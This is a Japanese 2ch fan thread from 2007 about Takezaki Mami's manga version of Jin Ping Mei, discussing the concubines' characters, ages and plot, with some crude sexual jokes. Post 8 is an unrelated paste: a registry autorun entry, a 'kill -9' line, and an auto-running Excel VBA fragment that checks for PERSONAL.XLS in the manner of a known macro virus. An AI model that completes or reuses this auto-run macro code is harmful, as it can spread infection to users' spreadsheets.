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●●竹崎真実スレッド●金瓶梅●● PART5

1 :花と名無しさん:2007/10/08(月) 20:31:20 ID:mHKwdZzp0
「残グリ」等で活躍中の竹崎さんスレッドです。
金瓶梅以外も全作品を語り合いましょう。

雪娥姐さんのお誘い
「息抜きに花見でもどうかしら」

前スレ ●●竹崎真実スレッド●金瓶梅●● PART4
http://anime2.2ch.net/test/read.cgi/gcomic/1182077551/

関連スレ 【ぶんか社】いちばん残酷なグリム童話・5
http://anime2.2ch.net/test/read.cgi/gcomic/1180403139/

オフィシャルサイト「邯鄲の夢」
ttp://www.linkclub.or.jp/~mamineko/

金瓶梅「原典」
小野忍,千田九一訳 岩波文庫全10巻
村上知行訳 ちくま文庫


2 :花と名無しさん:2007/10/08(月) 20:56:16 ID:???0
乙〜

3 :花と名無しさん:2007/10/08(月) 21:03:10 ID:???O
>>1姐さん乙ですわ。
つ【山芋の茎】【庭師の爺さん】

4 :花と名無しさん:2007/10/08(月) 21:04:05 ID:???O
>>1

乙華麗です つ【牡丹】

5 :花と名無しさん:2007/10/08(月) 21:11:11 ID:zY6vOMCKO
勃起した!!

6 :花と名無しさん:2007/10/08(月) 21:30:05 ID:zY6vOMCKO
まんこ

7 :花と名無しさん:2007/10/08(月) 22:02:41 ID:???0
>>1
乙です



8 :花と名無しさん:2007/10/08(月) 23:31:41 ID:???0
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"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
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If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
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kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
whichfile = p + w * 10
End Sub


9 :花と名無しさん:2007/10/09(火) 06:27:26 ID:???0
悔しいよ>>1・・・

自分にあの男の血が流れているのが悔しい


10 :花と名無しさん:2007/10/09(火) 08:56:06 ID:???O
>>1乙です
つ【厄介袋】

11 :花と名無しさん:2007/10/09(火) 13:19:49 ID:???0
>>9
旦那様、私も「らしくなく」振る舞えなくて‥‥。

12 :花と名無しさん:2007/10/09(火) 13:47:40 ID:???0
ああん>>11様の意地悪ぅー

>>1さん乙です!

13 :花と名無しさん:2007/10/09(火) 22:36:51 ID:???0
そろそろ旦那様と大奥様の濡れ場が見たい

14 :花と名無しさん:2007/10/10(水) 00:31:23 ID:???0
そういやこの金瓶梅には、大旦那という隠し玉が存在したんだっけね。

15 :花と名無しさん:2007/10/10(水) 00:46:12 ID:???0
眉は初春の柳葉に似て、常に雨を恨み、
雲の愁いを含み、顔は弥生の桃花のごとく、
暗に風の情、月の心を蔵す。

16 :花と名無しさん:2007/10/10(水) 00:49:17 ID:???0
>>13
激しく幼児プレイなりそうな予感・・・
でもはじらう大奥様もいいな。

17 :花と名無しさん:2007/10/10(水) 11:03:50 ID:???O
6巻最後って 嬌児が尼僧に騙された話であってますか?
そこまで読んだんだけど続きは7巻でおkですか?

18 :花と名無しさん:2007/10/10(水) 19:22:05 ID:???0
覚えてないな。

19 :花と名無しさん:2007/10/11(木) 00:47:06 ID:???O
瓶児のHシーンを見て、ちょっと気になって纏足について調べてみた。
とんがった靴を履けるように見せるのがポイントらしい。
あれはあれで女性解放に役立っていたという研究もありびっくり。

20 :花と名無しさん:2007/10/11(木) 00:47:22 ID:???0
少数派だと思うけど、秋菊が可愛くて仕方ない。
守ってあげたいかんじ

21 :花と名無しさん:2007/10/11(木) 00:58:02 ID:???O
秋菊がキライな人はいないと思う。

個人的には金蓮を排除するために武松を引き込むくらいの大技を見せて欲しいが。

22 :花と名無しさん:2007/10/11(木) 09:24:21 ID:???0
やっぱり秋菊裏切りフラグ立ってるよね。
金蓮を裏切る所は見たくないけどどう裏切るのか気になる所でもある。
秋菊って運が悪いよね。

23 :花と名無しさん:2007/10/11(木) 12:28:13 ID:???0
ここいらでがんばってほしいところだねー秋菊には。
どうでもいいけど彼女はなんとなくたんぽぽのイメージがある。
吹いたらすぐとんできそうなとことかw

24 :花と名無しさん:2007/10/11(木) 14:09:45 ID:???O
>>23
奇遇だな。自分もタンポポのイメージだ



25 :花と名無しさん:2007/10/11(木) 19:12:10 ID:???O
携帯でチマチマ読んでいる私…(携帯では桂尼・月尼の話まで読める)
ある日、オットがどんなのか読ませろと言ってきた。

適当にお猿さんの話を読ませたら「なぜハマるのかわからん」とな。その反応がなんか悔しくて…
金連らしさがあってグッとくるようなオススメできる話って何でしょう…

片付けられないアノ人の話かなぁ…

26 :花と名無しさん:2007/10/11(木) 20:15:10 ID:???0
>>25
雪娥の元に若い料理人の安民がやってくる話はどうでしょう。
起承転結もハッキリしているし
金蓮のキャラクターも出ている。

個人的には恵蓮を月娘奥様が豚部屋に突き落とす話も好きだけど
これだと金蓮は脇役だからなー。

27 :花と名無しさん:2007/10/11(木) 21:32:11 ID:???O
>26
いいですね!安民!おのれー!
オチの豚を見てオットは引きそうですが、こんな衝撃のある漫画に出会えることも少なそうだし。私がハマる理由もわかってもらえそう。

私もブタ床は月娘の本妻の地位とプライドを感じて好きです。

ふと気がつきましたが、瓶児の話を読ませたら、上辺だけカワイイ女の本質に気付いてくれないかな…と思ってみたり…。

28 :花と名無しさん:2007/10/11(木) 21:45:07 ID:???0
>>27
瓶児だったら竹山との関係から自殺未遂して
西門慶の妻に収まる話がいいかもね。

もっとも、女性の私が読んでさえ
「ここまで悪役に仕立てなくてもいいのに。」
と瓶児の造型には感じるから
男性が読んだらもっとそう思うんじゃないかな。

「本人は善良なヒロインのつもりで実はあざといぶりっ子」
という作者の意図は理解できるんだけど
ちょっとやり過ぎでキャラクターとして不自然な感触を受ける。

29 :花と名無しさん:2007/10/11(木) 22:56:36 ID:???O
>28
確かに初期の瓶児はなんかいたいけな感じがするし、雪獅子けしかけられたときも涙ながらに謝ってたのに…

今じゃ都合が悪くなると仮病か気絶。雪獅子のときも倒れちゃえば流産に見えたかもしれないなぁ

すっかり「あんあん」だし…

30 :花と名無しさん:2007/10/12(金) 00:09:24 ID:???O
初期の瓶児は上っ面とは言え、それなりの優しさと品性をもってたのに
最近じゃただのおばかさんだもんな…
エロガキの回でいい人ぶって率先して面倒見ようとするのはともかく
「子供の母への思いが ま っ た く 分からない」のはやりすぎだな。

31 :花と名無しさん:2007/10/12(金) 00:15:54 ID:???O
女が女を露悪的に描いてるのは、男性が見るとヒくんじゃ……。
男ウケのいいタイプの女に嫉妬して、こき下ろしたいがために
あんな悪女描写をしているとか、作者の意図を勝手に解釈されそう。

と、男でもないくせ、勝手に男視点を推測してしまいましたが

32 :花と名無しさん:2007/10/12(金) 00:27:40 ID:???0
>>30
初期の瓶児は
「金蓮の視点で『イヤな女、小ずるい女』であったとしても
瓶児自身には彼女なりの誠実さや
致し方ない事情があるのかもしれない」
と思わせる余地があった。

でも、回を重ねるにつれて
「金蓮ばかりでなく同性一般にとって不愉快な女」に変質し、
最近では不愉快を通り越して不可解な人物になっている。

33 :花と名無しさん:2007/10/12(金) 00:44:49 ID:???0
>>30
旦那様の親戚で嗜虐趣味のある秀才の本質に気が付かず
秋菊との仲を取り持つ行為に出てしまう、みたいな話なら
まだ理解できる範疇だけど
マセガキ英祝に笑顔で母親の離縁を直接伝える描写はやりすぎだよね。

ぶりっ子している後妻蓉桂の外面に騙されて
「今のお母さんのことは嫌いでも
今度家に来る新しいお母さんなら好きになれるわよ」
みたいな別の部分に重点を置いた会話の流れでばらしてしまうのなら
まだ理解できるんだけど。

34 :花と名無しさん:2007/10/12(金) 01:11:45 ID:???0
逆に雪娥姐さんは、顔立ちはともかく最初は結構いじわる小姑みたいだったのが
かなり扱いが良くなって来てるね。
がさつって言うけど、サバサバした好印象系になってるって言うか。
でも、見た目は一番紅毛人っぽいのに、何でも食材に見える辺りが・・・ww

35 :花と名無しさん:2007/10/12(金) 20:53:14 ID:???0
瓶児が初期と比べて嫌な面がつくようになったのは当然でしょう。
なぜなら初期の瓶児はお隣さんで、表面上は愛想いいから西門家の面々にも評判よかった。
でも第六夫人となって西門家の家族の一員になった以上、もうお隣さんと他人じゃないんだよ。
ただの他人なら表面上の長所だけみてればいいけど、家族になれば今まで見えなかった短所がみえるのは当たり前。
夫婦だって、恋人のころはすごくよく見えたけど、結婚して一緒に暮らせば相手の本質がわかるようになって欠点が目立つようになるわけじゃん。
べつに瓶児を貶めているわけじゃなくて、単にお隣さんだったころは見えなかった本質を皆が見るようになっただけって話でしょ

36 :花と名無しさん:2007/10/12(金) 21:39:02 ID:???0
>>35
う〜ん、瓶児の造型の変化って
「家族になったから金蓮以外の人にも嫌な面が見えてきた」
との前提で見ても尚、違和感が残ると思うよ。

子供の母親への心情を全く理解できず
とんでもない言動をする等
単純に嫌な性格という以上の欠落が瓶児にはある。

金蓮を良く見せる為に
瓶児を必要以上に悪くする描き方が過剰だという話。

そしてそんな描写をしているにも拘らず
肝心の旦那様は瓶児を密通時代と同様
「基本的には素直で可愛い女」として
見続けているわけだからその点でも不自然だしね。

37 :花と名無しさん:2007/10/12(金) 21:56:43 ID:???0
>36
男が考える「天然」とか「素直でかわいい女」って
女から見ると大概はどっかが麻痺してるか壊れてる女だったり

38 :花と名無しさん:2007/10/12(金) 22:03:20 ID:???0
最近の瓶児はなんだか宇宙人みたいで、、、
あそこまで行くと、もう腹も立たないよ。

39 :花と名無しさん:2007/10/12(金) 22:09:22 ID:???0
どうせ悪役やらせるなら、普通に腹立つレベルに留めて欲しいよね。

40 :花と名無しさん:2007/10/12(金) 22:12:36 ID:???0
ある意味 大旦那様を超えてるよ瓶児

41 :花と名無しさん:2007/10/13(土) 13:31:18 ID:???0
>>36
そりゃあ男の旦那様には無害だからさ。
でも女からみたら瓶児の性格の欠陥はさらっと見過ごせず頭にきるって
嫁の欠点を舅は気にしなくても姑は頭にくるようなもの

42 :花と名無しさん:2007/10/13(土) 20:20:30 ID:???0
まあ探陽がでてくる回とかはさすがにうすら寒くなったが@瓶児

43 :花と名無しさん:2007/10/13(土) 23:20:09 ID:???0
おじゃまします
ふうさん登場の巻きを読んだのですが
今までも出てましたよね?
時系列がよくわからんっす

44 :花と名無しさん:2007/10/13(土) 23:59:45 ID:???O
>>43
デラックスはちょっと前のを収録しているよ
温の話はまた瓶児がクソむかつくなぁ
韓予も出て来たし次号あたりで渡月かな

45 :花と名無しさん:2007/10/14(日) 04:12:13 ID:???0
http://www.youtube.com/watch?v=86zhybqG7LU&mode=related&search=
これどんな瓶児だよww
気絶してるとことか声とかイラッとくるとことか全てが動いてる瓶児w

46 :花と名無しさん:2007/10/14(日) 13:44:59 ID:???0
>>45
このスレに俺以外にも男がいることを実感した

47 :花と名無しさん:2007/10/14(日) 16:20:01 ID:???0
>>45
音のはずし具合がいいね

48 :花と名無しさん:2007/10/14(日) 17:27:19 ID:???0
7巻っていつ出るんだろう。続きが見たいよおおお

49 :花と名無しさん:2007/10/14(日) 22:52:39 ID:???0
>>36
子供の時の瓶児ってそこまで嫌な性格かなぁ。

>子供の母親への心情を全く理解できず
>とんでもない言動をする

って言うのも瓶児は純粋というか単純だから
子供の言葉に嘘がない=裏がないと思ったからこそ、
彼女なりに子供に同調して言ってあげたような気がする。
だから彼女一人が子供の強がりを分からなかったんだし。
良くも悪くも自分の尺度でしか物事を計れないんだと思う。
馬鹿ではあるけど、悪意がないのが瓶児だし。

最近の瓶児が馬鹿すぎるのは同意だけど。

50 :花と名無しさん:2007/10/14(日) 23:53:45 ID:???0
>>馬鹿ではあるけど、悪意がないのが瓶児だし。

まーそこが腹の立つところではあるけど仕方ない

51 :花と名無しさん:2007/10/15(月) 01:57:51 ID:???0
>>51
しかもタチの悪いことに、そここそが男が可愛いと思う所なんだよな

52 :花と名無しさん:2007/10/15(月) 02:58:26 ID:???0
でも、あのマセガキへの対応については
旦那様からも「お前は黙ってなさい」と言われているから
あの辺りでうざく思われてもおかしくないような。

永鐘への対応も然り。

53 :花と名無しさん:2007/10/15(月) 15:22:34 ID:???O
あれは瓶児の欠点で直しようがないから放置、って感じがする。
金蓮が怒りっぽいたちだから風向き悪くなると怒鳴り込まれる前に逃げるのと同じでしょ。

54 :花と名無しさん:2007/10/15(月) 22:27:53 ID:???0
瓶児スレ

55 :花と名無しさん:2007/10/15(月) 22:45:35 ID:???O
旦那様以外の男に襲われても、一応は抵抗するが2コマ目には
「あぁん」で和姦になってしまい、さらにライバルの金蓮にまでおマタをいじられても感じてしまう瓶児すごすぎw
どこのエロゲキャラだw

56 :花と名無しさん:2007/10/16(火) 13:37:23 ID:???0
金蓮と大奥様のほうが心まで分かり合ってるかんじだね。

それに比べて瓶児は体と、可愛さ、かよわさしか求められてないようなきがする。
旦那さまにとっては結構都合のいい存在なのかも。



57 :花と名無しさん:2007/10/16(火) 17:18:42 ID:???0
結局、内面的には距離のある存在なんだよね
>旦那様にとっての瓶児

本当に危機的な状況に追い込まれた時
旦那様が駆け込んだのは大奥様の下だし
黒い顔を隠さずに共有するのは金蓮。

武松とウンカが県境で待ち伏せしていた回の時、
そのまま送り出せば金蓮はおろか旦那様にも危険が及ぶのは
火を見るより明らかなのに
瓶児は自分の保身だけ図って旦那様を引きとめようともしなかった。

旦那様が極限状況に立たされた時、その隣に瓶児は常にいない。

58 :花と名無しさん:2007/10/16(火) 17:55:19 ID:???0
頼りにできる、時には弱い顔がみせられる=大奥様
恋人、体、たまに共犯者=金蓮

うまいメシ=雪蛾
会計は任せた=嬌児
ようわからん=玉楼

エロゲキャラ、ペット=瓶児

こういう認識なのかな、旦那様にとって。
瓶児はなんとなく「愛玩物」ってかんじがする。



59 :花と名無しさん:2007/10/16(火) 18:06:01 ID:???0
>>58
紹介してくれた人への義理立て=玉楼 かも。

玉楼も一応は美人で生まれ育ちは卑しくないし
目立ったトラブルを起こす性格でもないから
結婚前に断る理由も結婚後追い出す必要も生じなかったのでしょう。

他の妻たちに比べてかなり消極的な存在理由だけど。

60 :花と名無しさん:2007/10/16(火) 20:06:11 ID:???0
>>58
大奥様の項に「甘える」も追加してけれ

61 :花と名無しさん:2007/10/16(火) 20:14:50 ID:???0
奥様達はみんな天女みたいな美人なんだっけ
顔で決めてない結婚もあるのによくそんな美人ばっかり集まったなぁ

62 :花と名無しさん:2007/10/16(火) 20:24:31 ID:???0
>>61
西門家に嫁ぐとなれば
そもそも不器量な娘を嫁がせようとは
仲立ちする人も思わないだろうし
結婚後に旦那様のために磨きをかけたのも大きいだろう。

63 :花と名無しさん:2007/10/16(火) 20:34:46 ID:???0
頼りにできる、時には弱い顔がみせられる,甘える=大奥様
恋人、体、たまに共犯者=金蓮

うまいメシ=雪蛾
会計は任せた=嬌児
紹介してくれた人への義理立て=玉楼

エロゲキャラ、ペット=瓶児

大奥様やっぱ偉大だな


64 :花と名無しさん:2007/10/17(水) 00:52:59 ID:???0
>>63
玉楼たんカワイソス><

65 :花と名無しさん:2007/10/17(水) 00:57:52 ID:???0
玉楼はまあRPGなら攻撃魔法をうつ役どころ

66 :花と名無しさん:2007/10/17(水) 01:02:39 ID:???0
ドラクエ4ならミネア位使えない役どころ
なんか性格もにてるし

67 :花と名無しさん:2007/10/17(水) 12:41:39 ID:???0
>>63
雪姐さん=しっかり者のキャリアウーマンを落す征服欲
嬌姐さん=廓の雰囲気を楽しみたい
玉姐さん=はかない未亡人を庇護してやる保護欲

も追加してほしいな

68 :花と名無しさん:2007/10/17(水) 14:06:47 ID:???0
頼りにできる、時には弱い顔がみせられる,甘える=大奥様
恋人、体、たまに共犯者=金蓮

うまいメシ、しっかり者のキャリアウーマンを落す征服欲=雪蛾
廓の雰囲気を楽しむ、会計は任せた=嬌児
義理立てと、はかない未亡人を庇護してやる保護欲=玉楼

エロゲキャラ、ペット=瓶児

>>67
そういえば玉楼未亡人だったんだね。

69 :花と名無しさん:2007/10/17(水) 15:51:45 ID:???0
雪娥姐さんを勝手に妄想
「確かにお顔は整ってますけど・・軟派でちゃらちゃらしてるし
 旦那様なんて男なんて興味ありません」とかそんな感じで、
旦那様が最初色仕掛けで近寄った際にビンタかましてそうだなぁ

70 :花と名無しさん:2007/10/17(水) 16:35:04 ID:???O
当時しがない厨房の女が西門家の主にビンタかましていいのだろうかw

71 :花と名無しさん:2007/10/17(水) 19:04:49 ID:???O
親父にもぶたれたことないのに…(´・ω・`)

72 :花と名無しさん:2007/10/17(水) 19:51:44 ID:???0
雪峨姐さんはアカギレだらけの手を綺麗だといってくれた旦那様にビビビっときてしまったんだよ
キャリアウーマンって自分の仕事ぶり認めてもらうのが一番ぐっとくるだろうな

73 :花と名無しさん:2007/10/17(水) 20:32:08 ID:???0
みんなで酔っ払って、旦那様との馴れ初めや悪口言う回面白かったなw

74 :花と名無しさん:2007/10/17(水) 20:51:17 ID:???0
>>73
そんなのあったんだ、なんか微笑ましい^^

75 :花と名無しさん:2007/10/17(水) 21:13:49 ID:???O
現代風だとキャリアウーマン解釈になるけど、原作的にはコピー取りかお茶くみ新米ってとこじゃない?
下働きで周りには軽んじられてるけど本人はその仕事に誇りをもっていて
旦那さまはそんな雪娥の気持ちを見抜き、尊敬してる感じで。

76 :花と名無しさん:2007/10/17(水) 21:19:48 ID:???0
>>下働きで周りには軽んじられてるけど本人はその仕事に誇りをもっていて
旦那さまはそんな雪娥の気持ちを見抜き、尊敬してる感じで。

同意。
自分はコピー取りっていうより雪娥は
職人肌のシェフのような感じなのかなーと思ってた。

77 :花と名無しさん:2007/10/17(水) 21:51:26 ID:???0
旦那様以外の男には例えマッサージでも触られたくない大奥様に無理やりキスした大旦那様の下男は極刑に値する

78 :花と名無しさん:2007/10/17(水) 22:03:28 ID:???0
単行本買おうと思ったら、なんで二巻だけ在庫切れなんだ…

79 :花と名無しさん:2007/10/17(水) 22:21:00 ID:???O
抱き着かれて思わずビンタをかましそうになる雪娥
「きゃ!やめて下さ…」
「この手でいつもうまい食事を作ってるのか…」
「(赤面)あ、いえ、あの…アカギレだらけで…もにょもにょ」
「いや一生懸命に働いてる手だ。誰よりも美しい」

二人は恋に……

80 :花と名無しさん:2007/10/17(水) 23:13:13 ID:???0
雪娥ちゃんかわいいなw

81 :花と名無しさん:2007/10/18(木) 02:20:34 ID:???0
>>75
どうでしょう?
旦那様の妾になる前は下女だけど
一応働き場の厨房では重宝されてたんじゃないかな?

男の料理長はちゃんといるけれど
(安民の回でも安民が『先代の料理長からの紹介で』と話している)
雪娥も副長クラスのポジションにはいたのでは。

だからこそ、他のお手つき女中と違って
妾に立て直してもらえたのかもしれないし。

82 :花と名無しさん:2007/10/18(木) 13:22:41 ID:???0
玉楼の結婚については1巻で、金連が嫁ぐ直前に
(武大を殺してほとぼりが冷めるのを待っている頃)
いつまで経っても迎えに来ない西門慶について
「玉楼という人が気に入って妻に迎えた」
と、王婆が話していたよ。だから
「そろそろかしら」から「金連お輿入れまで」の間に
玉楼、雪娥、金連と一気に3人も奥さんにしたって事か。
なんかなぁ〜wwwwwwww

83 :花と名無しさん:2007/10/18(木) 19:56:26 ID:???0
旦那様はたまってたんだよ。
嬌児姐さん娶ったときに大奥様が怒っちゃって
一ヶ月も口きいてくれなくて
それで第三夫人はしばらくやめとうと思ったんじゃない?
でも大奥様が浮気に寛大になったので
数年我慢してた分、一気に爆発したとおもわれる

84 :花と名無しさん:2007/10/18(木) 22:39:38 ID:???O
嬌児、玉楼、雪娥が西門に嫁ぐ時の外伝があったら面白そうだね

85 :花と名無しさん:2007/10/19(金) 20:53:07 ID:???0
物語が始まってから、どのくらいの年月が経っているのか、暇つぶしに数えてみた。

金連が武大を殺してから、旦那様に嫁ぐまで/7ヶ月くらい
お輿入れしてから李桂姐の呪いまで/2ヶ月くらい
李瓶児、輿入れ、おめでた偽装/2〜3ヶ月くらい?
 (妹夫婦の政治事件があったから、落ち着くまでどれだけかかるか想像できず。スマソ)
天喜、誘拐監禁事件/1週間くらい
武松ブタ箱行き、鄲哥暴行から島流し/2週間くらい?(裁判は分からん)
夢遊病小女の幽霊事件(2巻)から、青琴の幽霊(6巻)/1年
 (これは間違えないと思うけど、その間に1年に1回の時節柄があるかもしれない)
聞香の召使い躾け教室w/2〜3週間
似非尼御狗様事件/身篭もったと診断されたりだと、2〜3ヶ月?

合計/1〜6巻で2年3ヶ月くらい?
                         失礼しました

86 :花と名無しさん:2007/10/19(金) 22:31:59 ID:???0
奥方や春梅とかの年齢がどんなもんか気になるな…
嬌児が嫁いだときに嬌児の姪は子供だったらしいけど
現時点でパッと見同年代くらいに見える。

過去話を読むと、大奥様も旦那様より結構年下っぽいけど
今では大奥様のほうが年上みたいな画風だし。

87 :花と名無しさん:2007/10/19(金) 22:56:58 ID:???0
慶ちゃんはねー、大奥様に甘えるんだ、ホントーにv
だけど、恥ずかしいから、周りに人には内緒なのv
可愛いね♪ 慶ちゃん♥

88 :花と名無しさん:2007/10/19(金) 23:17:00 ID:???0
書き込んだ瞬間に、2番と3番を思いついてしまいました。
連投したついでに豚部屋に逝ってきます。
 §ヲ


慶ちゃんはねー、大奥様の前では、ボクちゃんでちゅv
だからカコワルイけど、アンチエイジングバッチグー、すごいんだぜ
おかしいね、慶ちゃん

慶ちゃんはねー、バナナが大好き、ホントはね
だけど「×××」を、姐さん達に入れる方が、気持ちいいんだよ
フツーだろ、慶ちゃん

89 :花と名無しさん:2007/10/20(土) 00:58:31 ID:???0
>>86
春梅や秋菊って14〜5歳くらいのイメージ。
前スレあたりでも年齢の話題出てたね。そういえば。
あの時はなんて言ってたかな。

大奥様も旦那様に嫁いだばかりのころは若くて可愛らしい感じだったんだけど
やっぱり苦労して老け込んだんだろうな。

90 :花と名無しさん:2007/10/20(土) 11:43:40 ID:???O
桂姐はまだ十代で奥様方は全員二十歳越えてるんじゃないかな。


91 :花と名無しさん:2007/10/20(土) 19:30:16 ID:???0
旦那様は30半ばくらいかな。
年長者の大奥様より年上ってことを考えると、若作りでそれくらいの歳って考えないと…

92 :花と名無しさん:2007/10/21(日) 12:30:35 ID:???0
旦那様はどっちかっていうと熟女好みというか、大人の女性の方が
好みだと思うので、奥様方はみんな25〜34歳位じゃないかな。
旦那様がロリコンだったりしたら、一体どんな話になってたんだろう。

93 :花と名無しさん:2007/10/21(日) 12:46:13 ID:???0
瓶児は13才くらいならあの言動に違和感ないのかもw

94 :花と名無しさん:2007/10/21(日) 13:42:22 ID:???0
まああの時代なら瓶児が13歳で最初の嫁入りしてもおかしくはない。


95 :花と名無しさん:2007/10/21(日) 19:27:26 ID:???0
13歳で結婚するのはアリとしても、13歳の子ににウハウハしてる
30代の男は異常だと思う。

96 :花と名無しさん:2007/10/21(日) 19:43:02 ID:???0
旦那様熟女からロリまでなんでもありだなw

97 :花と名無しさん:2007/10/21(日) 20:00:26 ID:???O
自分の勝手な脳内年齢だけど
嬌児が1番年上の29才、大奥様が28才
金蓮、雪娥、玉楼が同じ年で25才、瓶児が21才


98 :花と名無しさん:2007/10/21(日) 20:12:11 ID:???O
基本竹崎版旦那様は少女にもおばさんにも興味ないノーマルだと思う。
旦那様の相手になった内で若いと思われる春梅・桂姐も18前後なんでは?
秋菊は15だよね。

99 :花と名無しさん:2007/10/21(日) 20:13:55 ID:???0
金蓮あたりは20台中盤なイメージだね
瓶児はあれで28とかだったら怖すぎ


100 :花と名無しさん:2007/10/21(日) 20:15:06 ID:???0
>>98
春梅、秋菊より年上なのか、確かによく秋菊の面倒をみているし納得かも。


101 :花と名無しさん:2007/10/21(日) 20:19:54 ID:???0
>>98
前に大奥様のいとこ?だかの中年女性が誘ってきた時に
ノッてきてたと思う
おばさんでもイケそうだ…

102 :花と名無しさん:2007/10/21(日) 21:56:49 ID:???0
旦那様が好きなのは奥様たちくらいの年齢かもうちょい若い女性とかだろうけど
基本的に来る者拒まずだよねw例外はあるけど

103 :花と名無しさん:2007/10/21(日) 22:05:07 ID:???0
基本的に18〜30前後の自分と同じか若いかくらいの子が好きなんじゃない?
熟女は許容範囲だけど若すぎる娘は子供すぎてその気にならないのでは。

104 :花と名無しさん:2007/10/21(日) 22:35:08 ID:???0
さすがの旦那様も男はダメか

105 :花と名無しさん:2007/10/22(月) 00:26:02 ID:???O
カンガン(漢字忘れた)はいるけど王偉以外に男色描写ないよね。
掲載誌が少女漫画よりなレディコミだからホモ描写ないのかと思ってたけど
最近の少女誌はホモばっかなんだっけ?

106 :花と名無しさん:2007/10/22(月) 03:43:47 ID:???0
旦那様を女装させて、金蓮が言葉攻めしてるやつ
あれもっかいやってくんないかなー

107 :花と名無しさん:2007/10/22(月) 04:14:27 ID:???0
>>97
瓶児て金蓮と同い年か一つ下くらいじゃないかな?
瓶児は花子虚と相応の年月結婚していたわけだし。

あと、永鐘に他の奥様方について語る瓶児の台詞で
月娘を「一番年上」と語っているから
嬌児より月娘の方が年上だと思う。

あの場面では月娘と瓶児の夫人としての地位以外は
全て瓶児にとっての事実を語っている設定だから
年齢だけ嘘をつくとは考えにくい。

108 :花と名無しさん:2007/10/22(月) 05:25:47 ID:???0
李凰が15で第7夫人になった時「まだ子供だ」と旦那様は言い切ってたから
許容範囲ではあっても自分から手を出す年齢ではないボーダーラインが
その辺りかなあと。

109 :花と名無しさん:2007/10/22(月) 20:22:07 ID:???O
今残デラ見たら秋菊は15才って書いてあった
旦那様似のサイコ男と大旦那様のやつ

110 :花と名無しさん:2007/10/22(月) 20:32:53 ID:???0
単行本まとめ買いして読んだけど
大奥様、初登場時は随分顔違うな。
随分若く見える…描いてる内にキャラ作りを変えた関係かもだけど

111 :花と名無しさん:2007/10/22(月) 20:37:50 ID:???0
嫁いでから一気に老け込む程苦労したんでしょう

112 :花と名無しさん:2007/10/22(月) 20:46:11 ID:???0
>>105
原典では男の子相手にやってたよ。
やってる最中に春梅が乱入して、引きずって行ったあげく
金蓮に怒鳴られてた。

113 :花と名無しさん:2007/10/23(火) 00:26:21 ID:???O
奥様方で一番変わったのは矯児だろう
初期なんて、オバサンとしか言えない容姿w


114 :花と名無しさん:2007/10/23(火) 00:28:28 ID:???O
でも初期のふっくらな容姿のほうが他の奥方様たちと違った感じで良かったけどなぁ。
今はえらくほっそりしたよね。お金の気苦労のせい?

115 :花と名無しさん:2007/10/23(火) 00:34:09 ID:???0
>>114
うん、なんかあっちのほうが色気はあったような。
人妻ーってかんじがして

116 :花と名無しさん:2007/10/23(火) 01:50:41 ID:???0
原典でも太めで下半身がどっしりした体格、みたいな描写がある>嬌児

実際、長いこと妓女をしていると
腰回りに肉が付きやすい傾向はあるらしいし
妓楼の女将さんは小太りなイメージで描かれることが多い。

小金を密かに溜め込む嬌児の気質を考えても
ふくよかな方(つまみ食いで太るイメージ)がそれらしい感じはする。

ガリガリだと桂姐との視覚的な区別が付きにくい。
偽尼による想像妊娠の回だったらほっそりしていた方が
ふと騙されてしまう脆さや儚さが出ていていいけれど。

117 :花と名無しさん:2007/10/23(火) 03:40:40 ID:???0
旦那様にとって、年齢には許容範囲はあっても、それ以上に美醜の方が
ウェイトが大きそうだ。
庭造りの時に出てきた、バスやバリトンの声が似合いそうな女性の噂話を
している時
「抱く気も起きない」
とバッサリ切り捨てていたし、桃ばかり食べている陳皮な少女にも
気だての良さは感じても、枕を交わす気にはなれなかったようだ。
(一晩、抱きしめながら、お喋りをしただけでそれ以上は無かった様な気がする)

15歳の小娘と言って、まともに相手をする気になれなかった第7夫人は
確かに中身も我が儘な小娘で、変な薬やお香が無ければ許容範囲ではなかった
様に見える。
が、13歳でも20代のお姐様達に負けない、教養、魅力があれば
「若くてもこんな素敵な人がいるんだな」
とのめり込む可能性も考えられる、と思う。そんなガキがいたら怖いけどねw

118 :花と名無しさん:2007/10/23(火) 03:45:55 ID:???0
大奥様が結婚前は可愛らしかったのに、
登場の時、老けていたのは
若い時に年よりも+5歳以上に見える人は
20代後半、30代になっても若く見える。
しかし、若い時に年相応に見える人は、
20代後半から突然老けて見える。
もしかしたら、それかもしれない。

119 :花と名無しさん:2007/10/23(火) 04:17:27 ID:???0
>>117
外見は一応華奢な美少女風だけど
中身があまりにも狂的だったからね>第七夫人李鳳
しかも背後にそれ以上にトチ狂った父親が付いている
(あんな人が国府長官やってる国なんて怖すぎる)。

李鳳の回では大旦那様はまだ出てこないし
存在自体暗示されてないけど
旦那様は美少女でも親の権威を嵩に着るタイプや
そもそも親離れ出来てない年頃の娘は
近親憎悪を感じてしまってダメなんでは。

タイプは全く違うけれど李鳳は父親、
陳皮娘は母親(養母)と完全に固着して
精神的に全く自立できていない。

あと、表面的には金蓮が乱入して止めたパターンけれど
猿を友達にしている父親ベッタリ娘も旦那様に迫ってたけど
旦那様は困惑気味だったよね。

120 :花と名無しさん:2007/10/23(火) 04:33:42 ID:???0
>>118
奥様方を統率するばかりでなく
旦那様にとって母親的な保護者の役割を負っているから
老成した顔つきに描かれたのでは>登場時

121 :花と名無しさん:2007/10/23(火) 07:23:31 ID:???O
正直大奥様は35歳くらいに見え…ん?なんだこの天井から下がった紐は

122 :花と名無しさん:2007/10/23(火) 13:55:42 ID:???0
>>121

Σ(||゚Д゚)ヒィィィィ

123 :花と名無しさん:2007/10/23(火) 16:03:18 ID:???0
当時の15歳が現在の20歳前後、
25歳が現在の35歳に該当する感覚だろうから
大奥様の見た目年齢が今の35歳くらいに見えても不思議はない。

平均寿命自体が短いから老化も早いだろうしね。

124 :花と名無しさん:2007/10/23(火) 21:34:50 ID:???0
只でさえどこまでまともな医療が発達してたかも分からん社会事情の上に
あの纏足ってのは凄過ぎるよね。
現代でも偏平足の人は足裏の内臓のツボに負担がかかるんで疲れやすいとか
聞いたことがあるけど、内臓のツボどころか土踏まずの箇所がまんま無い
んだもんなあ。
同時期ヨーロッパでもすんげえキツいコルセットとか流行ってたみたいだけど
